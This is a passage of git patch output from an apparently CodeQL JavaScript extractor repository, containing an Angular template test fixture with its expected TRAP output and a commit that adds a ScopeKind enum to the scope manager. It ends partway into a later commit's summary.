-0,0 +1,10 @@ +import { Component } from "@angular/core"; + +@Component({ + template: ` + <foo [prop]="expr + expr"/> + <foo [baz]="expr!" /> + <foo [baz]="expr?.bar" /> + ` +}) +export class MyComponent {} diff --git a/javascript/extractor/tests/ng-templates/options.json b/javascript/extractor/tests/ng-templates/options.json new file mode 100644 index 00000000000..075583ca1f6 --- /dev/null +++ b/javascript/extractor/tests/ng-templates/options.json @@ -0,0 +1,3 @@ +{ + "experimental": true +} diff --git a/javascript/extractor/tests/ng-templates/output/trap/component.js.trap b/javascript/extractor/tests/ng-templates/output/trap/component.js.trap new file mode 100644 index 00000000000..ed7ea4db967 --- /dev/null +++ b/javascript/extractor/tests/ng-templates/output/trap/component.js.trap @@ -0,0 +1,666 @@ +#10000=@"/component.js;sourcefile" +files(#10000,"/component.js","component","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +#20002=* +lines(#20002,#20001,"import { Component } from ""@angular/core"";"," +") +#20003=@"loc,{#10000},1,1,1,42" +locations_default(#20003,#10000,1,1,1,42) +hasLocation(#20002,#20003) +#20004=* +lines(#20004,#20001,""," +") +#20005=@"loc,{#10000},2,1,2,0" +locations_default(#20005,#10000,2,1,2,0) +hasLocation(#20004,#20005) +#20006=* +lines(#20006,#20001,"@Component({"," +") +#20007=@"loc,{#10000},3,1,3,12" +locations_default(#20007,#10000,3,1,3,12) +hasLocation(#20006,#20007) +#20008=* +lines(#20008,#20001," template: `"," +") +#20009=@"loc,{#10000},4,1,4,12" +locations_default(#20009,#10000,4,1,4,12) +hasLocation(#20008,#20009) +indentation(#10000,4," ",1) +#20010=* +lines(#20010,#20001," <foo [prop]=""expr + expr""/>"," +") +#20011=@"loc,{#10000},5,1,5,28" +locations_default(#20011,#10000,5,1,5,28) +hasLocation(#20010,#20011) +indentation(#10000,5," ",1) +#20012=* +lines(#20012,#20001," <foo [baz]=""expr!"" />"," +") +#20013=@"loc,{#10000},6,1,6,22" +locations_default(#20013,#10000,6,1,6,22) +hasLocation(#20012,#20013) +indentation(#10000,6," ",1) +#20014=* +lines(#20014,#20001," <foo [baz]=""expr?.bar"" />"," +") +#20015=@"loc,{#10000},7,1,7,26" +locations_default(#20015,#10000,7,1,7,26) +hasLocation(#20014,#20015) +indentation(#10000,7," ",1) +#20016=* +lines(#20016,#20001," `"," +") +#20017=@"loc,{#10000},8,1,8,2" +locations_default(#20017,#10000,8,1,8,2) +hasLocation(#20016,#20017) +indentation(#10000,8," ",1) +#20018=* +lines(#20018,#20001,"})"," +") +#20019=@"loc,{#10000},9,1,9,2" +locations_default(#20019,#10000,9,1,9,2) +hasLocation(#20018,#20019) +#20020=* +lines(#20020,#20001,"export class MyComponent {}"," +") +#20021=@"loc,{#10000},10,1,10,27" +locations_default(#20021,#10000,10,1,10,27) +hasLocation(#20020,#20021) +numlines(#20001,10,9,0) +#20022=* +tokeninfo(#20022,7,#20001,0,"import") +#20023=@"loc,{#10000},1,1,1,6" +locations_default(#20023,#10000,1,1,1,6) +hasLocation(#20022,#20023) +#20024=* +tokeninfo(#20024,8,#20001,1,"{") +#20025=@"loc,{#10000},1,8,1,8" +locations_default(#20025,#10000,1,8,1,8) +hasLocation(#20024,#20025) +#20026=* +tokeninfo(#20026,6,#20001,2,"Component") +#20027=@"loc,{#10000},1,10,1,18" +locations_default(#20027,#10000,1,10,1,18) +hasLocation(#20026,#20027) +#20028=* +tokeninfo(#20028,8,#20001,3,"}") +#20029=@"loc,{#10000},1,20,1,20" +locations_default(#20029,#10000,1,20,1,20) +hasLocation(#20028,#20029) +#20030=* +tokeninfo(#20030,6,#20001,4,"from") +#20031=@"loc,{#10000},1,22,1,25" +locations_default(#20031,#10000,1,22,1,25) +hasLocation(#20030,#20031) +#20032=* +tokeninfo(#20032,4,#20001,5,"""@angular/core""") +#20033=@"loc,{#10000},1,27,1,41" +locations_default(#20033,#10000,1,27,1,41) +hasLocation(#20032,#20033) +#20034=* +tokeninfo(#20034,8,#20001,6,";") +#20035=@"loc,{#10000},1,42,1,42" +locations_default(#20035,#10000,1,42,1,42) +hasLocation(#20034,#20035) +#20036=* +tokeninfo(#20036,8,#20001,7,"@") +#20037=@"loc,{#10000},3,1,3,1" +locations_default(#20037,#10000,3,1,3,1) +hasLocation(#20036,#20037) +#20038=* +tokeninfo(#20038,6,#20001,8,"Component") +#20039=@"loc,{#10000},3,2,3,10" +locations_default(#20039,#10000,3,2,3,10) +hasLocation(#20038,#20039) +#20040=* +tokeninfo(#20040,8,#20001,9,"(") +#20041=@"loc,{#10000},3,11,3,11" +locations_default(#20041,#10000,3,11,3,11) +hasLocation(#20040,#20041) +#20042=* +tokeninfo(#20042,8,#20001,10,"{") +#20043=@"loc,{#10000},3,12,3,12" +locations_default(#20043,#10000,3,12,3,12) +hasLocation(#20042,#20043) +#20044=* +tokeninfo(#20044,6,#20001,11,"template") +#20045=@"loc,{#10000},4,2,4,9" +locations_default(#20045,#10000,4,2,4,9) +hasLocation(#20044,#20045) +#20046=* +tokeninfo(#20046,8,#20001,12,":") +#20047=@"loc,{#10000},4,10,4,10" +locations_default(#20047,#10000,4,10,4,10) +hasLocation(#20046,#20047) +#20048=* +tokeninfo(#20048,8,#20001,13,"`") +#20049=@"loc,{#10000},4,12,4,12" +locations_default(#20049,#10000,4,12,4,12) +hasLocation(#20048,#20049) +#20050=* +tokeninfo(#20050,4,#20001,14," + <foo [prop]=""expr + expr""/> + <foo [baz]=""expr!"" /> + <foo [baz]=""expr?.bar"" /> + ") +#20051=@"loc,{#10000},4,13,8,1" +locations_default(#20051,#10000,4,13,8,1) +hasLocation(#20050,#20051) +#20052=* +tokeninfo(#20052,8,#20001,15,"`") +#20053=@"loc,{#10000},8,2,8,2" +locations_default(#20053,#10000,8,2,8,2) +hasLocation(#20052,#20053) +#20054=* +tokeninfo(#20054,8,#20001,16,"}") +#20055=@"loc,{#10000},9,1,9,1" +locations_default(#20055,#10000,9,1,9,1) +hasLocation(#20054,#20055) +#20056=* +tokeninfo(#20056,8,#20001,17,")") +#20057=@"loc,{#10000},9,2,9,2" +locations_default(#20057,#10000,9,2,9,2) +hasLocation(#20056,#20057) +#20058=* +tokeninfo(#20058,7,#20001,18,"export") +#20059=@"loc,{#10000},10,1,10,6" +locations_default(#20059,#10000,10,1,10,6) +hasLocation(#20058,#20059) +#20060=* +tokeninfo(#20060,7,#20001,19,"class") +#20061=@"loc,{#10000},10,8,10,12" +locations_default(#20061,#10000,10,8,10,12) +hasLocation(#20060,#20061) +#20062=* +tokeninfo(#20062,6,#20001,20,"MyComponent") +#20063=@"loc,{#10000},10,14,10,24" +locations_default(#20063,#10000,10,14,10,24) +hasLocation(#20062,#20063) +#20064=* +tokeninfo(#20064,8,#20001,21,"{") +#20065=@"loc,{#10000},10,26,10,26" +locations_default(#20065,#10000,10,26,10,26) +hasLocation(#20064,#20065) +#20066=* +tokeninfo(#20066,8,#20001,22,"}") +#20067=@"loc,{#10000},10,27,10,27" +locations_default(#20067,#10000,10,27,10,27) +hasLocation(#20066,#20067) +#20068=* +tokeninfo(#20068,0,#20001,23,"") +#20069=@"loc,{#10000},11,1,11,0" +locations_default(#20069,#10000,11,1,11,0) +hasLocation(#20068,#20069) +toplevels(#20001,0) +#20070=@"loc,{#10000},1,1,11,0" +locations_default(#20070,#10000,1,1,11,0) +hasLocation(#20001,#20070) +#20071=@"module;{#10000},1,1" +scopes(#20071,3) +scopenodes(#20001,#20071) +scopenesting(#20071,#20000) +is_module(#20001) +is_es2015_module(#20001) +#20072=@"var;{Component};{#20071}" +variables(#20072,"Component",#20071) +#20073=@"local_type_name;{Component};{#20071}" +local_type_names(#20073,"Component",#20071) +#20074=@"local_namespace_name;{Component};{#20071}" +local_namespace_names(#20074,"Component",#20071) +variables(#20072,"Component",#20071) +#20075=@"var;{MyComponent};{#20071}" +variables(#20075,"MyComponent",#20071) +local_type_names(#20073,"Component",#20071) +#20076=@"local_type_name;{MyComponent};{#20071}" +local_type_names(#20076,"MyComponent",#20071) +local_namespace_names(#20074,"Component",#20071) +#20077=* +stmts(#20077,27,#20001,0,"import ... /core"";") +hasLocation(#20077,#20003) +stmt_containers(#20077,#20001) +#20078=* +exprs(#20078,4,#20077,-1,"""@angular/core""") +hasLocation(#20078,#20033) +enclosing_stmt(#20078,#20077) +expr_containers(#20078,#20001) +literals("@angular/core","""@angular/core""",#20078) +#20079=* +regexpterm(#20079,14,#20078,0,"@angular/core") +#20080=@"loc,{#10000},1,28,1,40" +locations_default(#20080,#10000,1,28,1,40) +hasLocation(#20079,#20080) +regexp_const_value(#20079,"@angular/core") +#20081=* +exprs(#20081,83,#20077,0,"Component") +hasLocation(#20081,#20027) +enclosing_stmt(#20081,#20077) +expr_containers(#20081,#20001) +#20082=* +exprs(#20082,0,#20081,0,"Component") +hasLocation(#20082,#20027) +enclosing_stmt(#20082,#20077) +expr_containers(#20082,#20001) +literals("Component","Component",#20082) +#20083=* +exprs(#20083,78,#20081,1,"Component") +hasLocation(#20083,#20027) +enclosing_stmt(#20083,#20077) +expr_containers(#20083,#20001) +literals("Component","Component",#20083) +decl(#20083,#20072) +typedecl(#20083,#20073) +namespacedecl(#20083,#20074) +#20084=* +stmts(#20084,30,#20001,1,"export ... nent {}") +hasLocation(#20084,#20021) +stmt_containers(#20084,#20001) +#20085=* +stmts(#20085,26,#20084,-1,"class MyComponent {}") +#20086=@"loc,{#10000},10,8,10,27" +locations_default(#20086,#10000,10,8,10,27) +hasLocation(#20085,#20086) +stmt_containers(#20085,#20001) +#20087=* +exprs(#20087,94,#20085,-2,"@Compon ... >\n\t`\n})") +#20088=@"loc,{#10000},3,1,9,2" +locations_default(#20088,#10000,3,1,9,2) +hasLocation(#20087,#20088) +enclosing_stmt(#20087,#20085) +expr_containers(#20087,#20001) +#20089=* +exprs(#20089,13,#20087,0,"Compone ... >\n\t`\n})") +#20090=@"loc,{#10000},3,2,9,2" +locations_default(#20090,#10000,3,2,9,2) +hasLocation(#20089,#20090) +enclosing_stmt(#20089,#20085) +expr_containers(#20089,#20001) +#20091=* +exprs(#20091,79,#20089,-1,"Component") +hasLocation(#20091,#20039) +enclosing_stmt(#20091,#20085) +expr_containers(#20091,#20001) +literals("Component","Component",#20091) +bind(#20091,#20072) +#20092=* +exprs(#20092,8,#20089,0,"{\n\ttemp ... />\n\t`\n}") +#20093=@"loc,{#10000},3,12,9,1" +locations_default(#20093,#10000,3,12,9,1) +hasLocation(#20092,#20093) +enclosing_stmt(#20092,#20085) +expr_containers(#20092,#20001) +#20094=* +properties(#20094,#20092,0,0,"templat ... "" />\n\t`") +#20095=@"loc,{#10000},4,2,8,2" +locations_default(#20095,#10000,4,2,8,2) +hasLocation(#20094,#20095) +#20096=* +exprs(#20096,0,#20094,0,"template") +hasLocation(#20096,#20045) +enclosing_stmt(#20096,#20085) +expr_containers(#20096,#20001) +literals("template","template",#20096) +#20097=* +exprs(#20097,71,#20094,1,"`\n\t<foo ... "" />\n\t`") +#20098=@"loc,{#10000},4,12,8,2" +locations_default(#20098,#10000,4,12,8,2) +hasLocation(#20097,#20098) +enclosing_stmt(#20097,#20085) +expr_containers(#20097,#20001) +#20099=* +exprs(#20099,72,#20097,0,"\n\t<foo ... r"" />\n\t") +hasLocation(#20099,#20051) +enclosing_stmt(#20099,#20085) +expr_containers(#20099,#20001) +literals(" + <foo [prop]=""expr + expr""/> + <foo [baz]=""expr!"" /> + <foo [baz]=""expr?.bar"" /> + "," + <foo [prop]=""expr + expr""/> + <foo [baz]=""expr!"" /> + <foo [baz]=""expr?.bar"" /> + ",#20099) +scopes(#20000,0) +#20100=@"script;{#10000},5,15" +#20101=* +lines(#20101,#20100,"expr + expr","") +#20102=@"loc,{#10000},5,15,5,25" +locations_default(#20102,#10000,5,15,5,25) +hasLocation(#20101,#20102) +numlines(#20100,1,1,0) +#20103=* +tokeninfo(#20103,6,#20100,0,"expr") +#20104=@"loc,{#10000},5,15,5,18" +locations_default(#20104,#10000,5,15,5,18) +hasLocation(#20103,#20104) +#20105=* +tokeninfo(#20105,8,#20100,1,"+") +#20106=@"loc,{#10000},5,20,5,20" +locations_default(#20106,#10000,5,20,5,20) +hasLocation(#20105,#20106) +#20107=* +tokeninfo(#20107,6,#20100,2,"expr") +#20108=@"loc,{#10000},5,22,5,25" +locations_default(#20108,#10000,5,22,5,25) +hasLocation(#20107,#20108) +#20109=* +tokeninfo(#20109,0,#20100,3,"") +#20110=@"loc,{#10000},5,26,5,25" +locations_default(#20110,#10000,5,26,5,25) +hasLocation(#20109,#20110) +toplevels(#20100,2) +hasLocation(#20100,#20102) +#20111=@"module;{#10000},5,15" +scopes(#20111,3) +scopenodes(#20100,#20111) +scopenesting(#20111,#20000) +is_module(#20100) +#20112=* +stmts(#20112,2,#20100,0,"expr + expr") +hasLocation(#20112,#20102) +stmt_containers(#20112,#20100) +#20113=* +exprs(#20113,34,#20112,0,"expr + expr") +hasLocation(#20113,#20102) +enclosing_stmt(#20113,#20112) +expr_containers(#20113,#20100) +#20114=* +exprs(#20114,79,#20113,0,"expr") +hasLocation(#20114,#20104) +enclosing_stmt(#20114,#20112) +expr_containers(#20114,#20100) +literals("expr","expr",#20114) +#20115=@"var;{expr};{#20000}" +variables(#20115,"expr",#20000) +bind(#20114,#20115) +#20116=* +exprs(#20116,79,#20113,1,"expr") +hasLocation(#20116,#20108) +enclosing_stmt(#20116,#20112) +expr_containers(#20116,#20100) +literals("expr","expr",#20116) +bind(#20116,#20115) +#20117=* +entry_cfg_node(#20117,#20100) +#20118=@"loc,{#10000},5,15,5,14" +locations_default(#20118,#10000,5,15,5,14) +hasLocation(#20117,#20118) +#20119=* +exit_cfg_node(#20119,#20100) +hasLocation(#20119,#20110) +successor(#20112,#20114) +successor(#20116,#20113) +successor(#20114,#20116) +successor(#20113,#20119) +successor(#20117,#20112) +#20120=* +toplevel_parent_xml_node(#20100,#20120) +#20121=@"script;{#10000},6,14" +#20122=* +lines(#20122,#20121,"expr!","") +#20123=@"loc,{#10000},6,14,6,18" +locations_default(#20123,#10000,6,14,6,18) +hasLocation(#20122,#20123) +numlines(#20121,1,1,0) +#20124=* +tokeninfo(#20124,6,#20121,0,"expr") +#20125=@"loc,{#10000},6,14,6,17" +locations_default(#20125,#10000,6,14,6,17) +hasLocation(#20124,#20125) +#20126=* +tokeninfo(#20126,8,#20121,1,"!") +#20127=@"loc,{#10000},6,18,6,18" +locations_default(#20127,#10000,6,18,6,18) +hasLocation(#20126,#20127) +#20128=* +tokeninfo(#20128,0,#20121,2,"") +#20129=@"loc,{#10000},6,19,6,18" +locations_default(#20129,#10000,6,19,6,18) +hasLocation(#20128,#20129) +toplevels(#20121,2) +hasLocation(#20121,#20123) +#20130=@"module;{#10000},6,14" +scopes(#20130,3) +scopenodes(#20121,#20130) +scopenesting(#20130,#20000) +is_module(#20121) +#20131=* +stmts(#20131,2,#20121,0,"expr!") +hasLocation(#20131,#20123) +stmt_containers(#20131,#20121) +#20132=* +exprs(#20132,105,#20131,0,"expr!") +hasLocation(#20132,#20123) +enclosing_stmt(#20132,#20131) +expr_containers(#20132,#20121) +#20133=* +exprs(#20133,79,#20132,0,"expr") +hasLocation(#20133,#20125) +enclosing_stmt(#20133,#20131) +expr_containers(#20133,#20121) +literals("expr","expr",#20133) +bind(#20133,#20115) +#20134=* +entry_cfg_node(#20134,#20121) +#20135=@"loc,{#10000},6,14,6,13" +locations_default(#20135,#10000,6,14,6,13) +hasLocation(#20134,#20135) +#20136=* +exit_cfg_node(#20136,#20121) +hasLocation(#20136,#20129) +successor(#20131,#20133) +successor(#20133,#20132) +successor(#20132,#20136) +successor(#20134,#20131) +#20137=* +toplevel_parent_xml_node(#20121,#20137) +#20138=@"script;{#10000},7,14" +#20139=* +lines(#20139,#20138,"expr?.bar","") +#20140=@"loc,{#10000},7,14,7,22" +locations_default(#20140,#10000,7,14,7,22) +hasLocation(#20139,#20140) +numlines(#20138,1,1,0) +#20141=* +tokeninfo(#20141,6,#20138,0,"expr") +#20142=@"loc,{#10000},7,14,7,17" +locations_default(#20142,#10000,7,14,7,17) +hasLocation(#20141,#20142) +#20143=* +tokeninfo(#20143,8,#20138,1,"?.") +#20144=@"loc,{#10000},7,18,7,19" +locations_default(#20144,#10000,7,18,7,19) +hasLocation(#20143,#20144) +#20145=* +tokeninfo(#20145,6,#20138,2,"bar") +#20146=@"loc,{#10000},7,20,7,22" +locations_default(#20146,#10000,7,20,7,22) +hasLocation(#20145,#20146) +#20147=* +tokeninfo(#20147,0,#20138,3,"") +#20148=@"loc,{#10000},7,23,7,22" +locations_default(#20148,#10000,7,23,7,22) +hasLocation(#20147,#20148) +toplevels(#20138,2) +hasLocation(#20138,#20140) +#20149=@"module;{#10000},7,14" +scopes(#20149,3) +scopenodes(#20138,#20149) +scopenesting(#20149,#20000) +is_module(#20138) +#20150=* +stmts(#20150,2,#20138,0,"expr?.bar") +hasLocation(#20150,#20140) +stmt_containers(#20150,#20138) +#20151=* +exprs(#20151,14,#20150,0,"expr?.bar") +hasLocation(#20151,#20140) +enclosing_stmt(#20151,#20150) +expr_containers(#20151,#20138) +#20152=* +exprs(#20152,79,#20151,0,"expr") +hasLocation(#20152,#20142) +enclosing_stmt(#20152,#20150) +expr_containers(#20152,#20138) +literals("expr","expr",#20152) +bind(#20152,#20115) +#20153=* +exprs(#20153,0,#20151,1,"bar") +hasLocation(#20153,#20146) +enclosing_stmt(#20153,#20150) +expr_containers(#20153,#20138) +literals("bar","bar",#20153) +isOptionalChaining(#20151) +#20154=* +entry_cfg_node(#20154,#20138) +#20155=@"loc,{#10000},7,14,7,13" +locations_default(#20155,#10000,7,14,7,13) +hasLocation(#20154,#20155) +#20156=* +exit_cfg_node(#20156,#20138) +hasLocation(#20156,#20148) +successor(#20150,#20152) +successor(#20153,#20151) +successor(#20152,#20153) +successor(#20151,#20156) +successor(#20152,#20156) +successor(#20154,#20150) +#20157=* +toplevel_parent_xml_node(#20138,#20157) +#20158=* +xmlChars(#20158," + ",#10000,0,0,#10000) +#20159=@"loc,{#10000},4,13,5,2" +locations_default(#20159,#10000,4,13,5,2) +xmllocations(#20158,#20159) +#20160=* +xmlChars(#20160," + ",#10000,2,0,#10000) +#20161=@"loc,{#10000},5,29,6,2" +locations_default(#20161,#10000,5,29,6,2) +xmllocations(#20160,#20161) +#20162=* +xmlChars(#20162," + ",#10000,4,0,#10000) +#20163=@"loc,{#10000},6,23,7,2" +locations_default(#20163,#10000,6,23,7,2) +xmllocations(#20162,#20163) +#20164=* +xmlChars(#20164," + ",#10000,6,0,#10000) +#20165=@"loc,{#10000},7,27,8,2" +locations_default(#20165,#10000,7,27,8,2) +xmllocations(#20164,#20165) +#20166=* +xmlElements(#20166,"foo",#10000,5,#10000) +#20167=@"loc,{#10000},7,2,7,27" +locations_default(#20167,#10000,7,2,7,27) +xmllocations(#20166,#20167) +xmlAttrs(#20157,#20166,"[baz]","expr?.bar",0,#10000) +#20168=@"loc,{#10000},7,7,7,24" +locations_default(#20168,#10000,7,7,7,24) +xmllocations(#20157,#20168) +#20169=* +xmlElements(#20169,"foo",#10000,3,#10000) +#20170=@"loc,{#10000},6,2,6,23" +locations_default(#20170,#10000,6,2,6,23) +xmllocations(#20169,#20170) +xmlAttrs(#20137,#20169,"[baz]","expr!",0,#10000) +#20171=@"loc,{#10000},6,7,6,20" +locations_default(#20171,#10000,6,7,6,20) +xmllocations(#20137,#20171) +#20172=* +xmlElements(#20172,"foo",#10000,1,#10000) +#20173=@"loc,{#10000},5,2,5,29" +locations_default(#20173,#10000,5,2,5,29) +xmllocations(#20172,#20173) +xmlAttrs(#20120,#20172,"[prop]","expr + expr",0,#10000) +#20174=@"loc,{#10000},5,7,5,27" +locations_default(#20174,#10000,5,7,5,27) +xmllocations(#20120,#20174) +xml_element_parent_expression(#20172,#20097,0) +xml_element_parent_expression(#20169,#20097,1) +xml_element_parent_expression(#20166,#20097,2) +#20175=* +exprs(#20175,78,#20085,0,"MyComponent") +hasLocation(#20175,#20063) +enclosing_stmt(#20175,#20085) +expr_containers(#20175,#20001) +literals("MyComponent","MyComponent",#20175) +decl(#20175,#20075) +typedecl(#20175,#20076) +#20176=* +scopes(#20176,10) +scopenodes(#20085,#20176) +scopenesting(#20176,#20071) +#20177=* +properties(#20177,#20085,2,0,"constructor() {}") +#20178=@"loc,{#10000},10,26,10,25" +locations_default(#20178,#10000,10,26,10,25) +hasLocation(#20177,#20178) +#20179=* +exprs(#20179,0,#20177,0,"constructor") +hasLocation(#20179,#20178) +enclosing_stmt(#20179,#20085) +expr_containers(#20179,#20001) +literals("constructor","constructor",#20179) +#20180=* +exprs(#20180,9,#20177,1,"() {}") +hasLocation(#20180,#20178) +enclosing_stmt(#20180,#20085) +expr_containers(#20180,#20001) +#20181=* +scopes(#20181,1) +scopenodes(#20180,#20181) +scopenesting(#20181,#20176) +#20182=@"var;{arguments};{#20181}" +variables(#20182,"arguments",#20181) +is_arguments_object(#20182) +#20183=* +stmts(#20183,1,#20180,-2,"{}") +hasLocation(#20183,#20178) +stmt_containers(#20183,#20180) +is_method(#20177) +#20184=* +entry_cfg_node(#20184,#20001) +#20185=@"loc,{#10000},1,1,1,0" +locations_default(#20185,#10000,1,1,1,0) +hasLocation(#20184,#20185) +#20186=* +exit_cfg_node(#20186,#20001) +hasLocation(#20186,#20069) +successor(#20084,#20175) +successor(#20180,#20177) +#20187=* +entry_cfg_node(#20187,#20180) +hasLocation(#20187,#20178) +#20188=* +exit_cfg_node(#20188,#20180) +hasLocation(#20188,#20178) +successor(#20183,#20188) +successor(#20187,#20183) +successor(#20179,#20180) +successor(#20177,#20085) +successor(#20175,#20179) +successor(#20092,#20096) +successor(#20097,#20099) +successor(#20099,#20094) +successor(#20096,#20097) +successor(#20094,#20089) +successor(#20091,#20092) +successor(#20089,#20087) +successor(#20087,#20186) +successor(#20085,#20091) +successor(#20077,#20084) +successor(#20081,#20077) +successor(#20184,#20081) +numlines(#10000,10,9,0) +filetype(#10000,"javascript") From faad466aa8923fe93ffdc847891244b9f9c54461 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 17 Dec 2020 21:19:00 +0000 Subject: [PATCH 0657/1241] JS: Add ScopeKind enum --- .../com/semmle/js/extractor/ASTExtractor.java | 2 +- .../com/semmle/js/extractor/ScopeKind.java | 35 +++++++++ .../com/semmle/js/extractor/ScopeManager.java | 71 ++++++++++--------- 3 files changed, 72 insertions(+), 36 deletions(-) create mode 100644 javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 34429097207..830b9066e50 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -704,7 +704,7 @@ public class ASTExtractor { + locationManager.getStartLine() + "," + locationManager.getStartColumn()); - scopeManager.enterScope(3, moduleScopeKey, toplevelLabel); + scopeManager.enterScope(ScopeKind.module, moduleScopeKey, toplevelLabel); scopeManager.addVariables( sourceType.getPredefinedLocals(platform, locationManager.getSourceFileExtension())); trapwriter.addTuple("is_module", toplevelLabel); diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java new file mode 100644 index 00000000000..c20a5bcc265 --- /dev/null +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java @@ -0,0 +1,35 @@ +package com.semmle.js.extractor; + +/** + * A kind of scope, corresponding to the <code>@scope</code> type in the dbscheme. + */ +public enum ScopeKind { + global(0), + function(1), + catch_(2), + module(3), + block(4), + for_(5), + forIn(6), + comprehensionBlock(7), + classExpr(8), + namespace(9), + classDecl(10), + interface_(11), + typeAlias(12), + mappedType(13), + enum_(14), + externalModule(15), + conditionalType(16); + + private int value; + + private ScopeKind(int value) { + this.value = value; + } + + /** Returns the value identifying this scope kind in the database. */ + public int getValue() { + return value; + } +} diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java index 109b73f2309..a7db92f52a1 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java @@ -1,5 +1,14 @@ package com.semmle.js.extractor; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + import com.semmle.js.ast.ArrayPattern; import com.semmle.js.ast.BlockStatement; import com.semmle.js.ast.CatchClause; @@ -54,14 +63,6 @@ import com.semmle.ts.ast.TypeAliasDeclaration; import com.semmle.ts.ast.UnionTypeExpr; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; -import java.util.Arrays; -import java.util.Collections; -import java.util.HashMap; -import java.util.LinkedHashMap; -import java.util.LinkedHashSet; -import java.util.List; -import java.util.Map; -import java.util.Set; /** Class for maintaining scoping information during extraction. */ public class ScopeManager { @@ -104,7 +105,7 @@ public class ScopeManager { public ScopeManager(TrapWriter trapWriter, ECMAVersion ecmaVersion) { this.trapWriter = trapWriter; - this.toplevelScope = enterScope(0, trapWriter.globalID("global_scope"), null); + this.toplevelScope = enterScope(ScopeKind.global, trapWriter.globalID("global_scope"), null); this.ecmaVersion = ecmaVersion; } @@ -115,12 +116,12 @@ public class ScopeManager { * @param scopeLabel the label of the scope itself * @param scopeNodeLabel the label of the AST node inducing this scope; may be null */ - public Scope enterScope(int scopeKind, Label scopeLabel, Label scopeNodeLabel) { + public Scope enterScope(ScopeKind scopeKind, Label scopeLabel, Label scopeNodeLabel) { Label outerScopeLabel = curScope == null ? null : curScope.scopeLabel; curScope = new Scope(curScope, scopeLabel); - trapWriter.addTuple("scopes", curScope.scopeLabel, scopeKind); + trapWriter.addTuple("scopes", curScope.scopeLabel, scopeKind.getValue()); if (scopeNodeLabel != null) trapWriter.addTuple("scopenodes", scopeNodeLabel, curScope.scopeLabel); if (outerScopeLabel != null) @@ -162,32 +163,32 @@ public class ScopeManager { return toplevelScope; } - private static final Map<String, Integer> scopeKinds = new LinkedHashMap<String, Integer>(); + private static final Map<String, ScopeKind> scopeKinds = new LinkedHashMap<String, ScopeKind>(); static { - scopeKinds.put("Program", 0); - scopeKinds.put("FunctionDeclaration", 1); - scopeKinds.put("FunctionExpression", 1); - scopeKinds.put("ArrowFunctionExpression", 1); - scopeKinds.put("CatchClause", 2); - scopeKinds.put("Module", 3); - scopeKinds.put("BlockStatement", 4); - scopeKinds.put("SwitchStatement", 4); - scopeKinds.put("ForStatement", 5); - scopeKinds.put("ForInStatement", 6); - scopeKinds.put("ForOfStatement", 6); - scopeKinds.put("ComprehensionBlock", 7); - scopeKinds.put("LetStatement", 4); - scopeKinds.put("LetExpression", 4); - scopeKinds.put("ClassExpression", 8); - scopeKinds.put("NamespaceDeclaration", 9); - scopeKinds.put("ClassDeclaration", 10); - scopeKinds.put("InterfaceDeclaration", 11); - scopeKinds.put("TypeAliasDeclaration", 12); - scopeKinds.put("MappedTypeExpr", 13); - scopeKinds.put("EnumDeclaration", 14); - scopeKinds.put("ExternalModuleDeclaration", 15); - scopeKinds.put("ConditionalTypeExpr", 16); + scopeKinds.put("Program", ScopeKind.global); + scopeKinds.put("FunctionDeclaration", ScopeKind.function); + scopeKinds.put("FunctionExpression", ScopeKind.function); + scopeKinds.put("ArrowFunctionExpression", ScopeKind.function); + scopeKinds.put("CatchClause", ScopeKind.catch_); + scopeKinds.put("Module", ScopeKind.module); + scopeKinds.put("BlockStatement", ScopeKind.block); + scopeKinds.put("SwitchStatement", ScopeKind.block); + scopeKinds.put("ForStatement", ScopeKind.for_); + scopeKinds.put("ForInStatement", ScopeKind.forIn); + scopeKinds.put("ForOfStatement", ScopeKind.forIn); + scopeKinds.put("ComprehensionBlock", ScopeKind.comprehensionBlock); + scopeKinds.put("LetStatement", ScopeKind.block); + scopeKinds.put("LetExpression", ScopeKind.block); + scopeKinds.put("ClassExpression", ScopeKind.classExpr); + scopeKinds.put("NamespaceDeclaration", ScopeKind.namespace); + scopeKinds.put("ClassDeclaration", ScopeKind.classDecl); + scopeKinds.put("InterfaceDeclaration", ScopeKind.interface_); + scopeKinds.put("TypeAliasDeclaration", ScopeKind.typeAlias); + scopeKinds.put("MappedTypeExpr", ScopeKind.mappedType); + scopeKinds.put("EnumDeclaration", ScopeKind.enum_); + scopeKinds.put("ExternalModuleDeclaration", ScopeKind.externalModule); + scopeKinds.put("ConditionalTypeExpr", ScopeKind.conditionalType); } /** From 2ba98da10724f29f3a289c3a9459b1fea3b5c46a Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 17 Dec 2020 23:16:26 +0000 Subject: [PATCH 0658/1241] JS: Only extract local vars in TemplateTopLevel Angular template expressions cannot refer to global variables, any unqualified identifier is a reference to a property provided by the component. We extract them as implicitly declared local variables which the QL model can then connect with data flow steps. --- .../com/semmle/js/extractor/ASTExtractor.java | 5 +- .../semmle/js/extractor/ExtractorConfig.java | 8 +++ .../semmle/js/extractor/HTMLExtractor.java | 2 +- .../com/semmle/js/extractor/ScopeManager.java | 14 ++++- .../com/semmle/js/extractor/TopLevelKind.java | 3 +- javascript/ql/src/semmle/javascript/AST.qll | 2 +- 